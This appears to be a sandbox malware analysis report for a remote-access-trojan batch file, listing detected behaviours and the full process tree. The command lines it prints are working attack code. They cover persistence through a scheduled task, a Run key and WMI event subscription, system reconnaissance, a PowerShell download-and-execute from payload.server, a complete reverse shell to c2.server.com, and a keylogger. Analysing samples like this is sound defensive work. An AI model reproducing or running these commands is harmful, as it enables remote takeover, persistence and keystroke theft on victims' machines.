Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/05/2026, 22:19

General

  • Target
    rat_build_87216_014258.bat
  • Size 4KB
  • Sample260529-18ldbacv2j
  • SHA256 3cf4460c0746310d8b3b25d7a54a6711ba83c7b39a8895076917ba8a1d656860
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://payload.server/update_87216.ps1

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_87216_014258.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3740
    • C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinUpdate_87216" /tr "C:\Users\Admin\AppData\Local\Temp\_87216.bat" /sc onlogon /ru "SYSTEM" /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4492
    • C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_87216" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_87216.bat" /f
      2⤵
      • Adds Run key to start application
      • Modifies registry key
      PID:3956
    • C:\Windows\System32\Wbem\WMIC.exe
      wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_87216", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1268
    • C:\Windows\System32\Wbem\WMIC.exe
      wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_87216", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_87216.bat"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2632
    • C:\Windows\system32\curl.exe
      curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_87216.txt
      2⤵
        PID:712
      • C:\Windows\system32\systeminfo.exe
        systeminfo
        2⤵
        • Gathers system information
        PID:2824
      • C:\Windows\system32\NETSTAT.EXE
        netstat -an
        2⤵
        • Gathers network information
        PID:3792
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_87216.ps1'))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3480
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4748
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1868

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 4e2a48a91fb62ca96aeb378d761d6d2a618ff180197a834693dc57ee259a736f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 463fd8f8002671fab554049d935e9df88bdaa2cd5874017f916536853579532f
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_wibsnwwo.isl.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wibsnwwo.isl.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3480-3-0x0000021146450000-0x0000021146472000-memory.dmp